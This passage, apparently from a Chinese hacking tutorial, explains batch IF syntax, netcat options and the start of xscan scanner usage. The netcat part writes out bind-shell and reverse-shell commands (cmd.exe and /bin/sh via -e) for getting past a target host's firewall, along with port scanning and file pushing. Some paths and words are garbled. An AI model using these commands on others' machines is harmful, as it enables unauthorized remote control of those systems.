例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） 

IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。

例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。

当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如："if exist test.txt. else echo test.txt.missing "，注意命令中的"."

（二）系统外部命令(均需下载相关工具)：

1、瑞士军刀：nc.exe

参数说明： 

-h 查看帮助信息 

-d 后台模式 

-e prog程序重定向，一但连接就执行［危险］ 

-i secs延时的间隔 

-l 监听模式，用于入站连接 

-L 监听模式，连接天闭后仍然继续监听，直到CTR+C 

-n IP地址，不能用域名 

-o film记录16进制的传输 

-p[空格]端口 本地端口号 

-r 随机本地及远程端口 

-t 使用Telnet交互方式 

-u UDP模式 

-v 详细输出，用-vv将更详细 

-w数字 timeout延时间隔 

-z 将输入，输出关掉（用于扫锚时） 

基本用法： 

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 

nc -l -p 80 开启本机的TCP 80端口并监听 

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 

高级用法： 

nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 

nc -L -p 80 > c:log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:log.txt 

nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中，亦可起到传送文件作用 

type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 

本机上用：nc -l -p 本机端口 

在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 

本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称 

在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 

备 注： 

| 管道命令 

< 或 > 重定向命令。"<"，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 

＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:winnt >> d:log.txt 意思是：后台执行dir，并把结果存在d:log.txt中 

>与>>的区别 　">"指：覆盖；">>"指：保存到(添加到）。

如：@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。

#8 八：

2、扫锚工具：xscan.exe

基本格式 

xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 

xscan -file <主机列表文件名>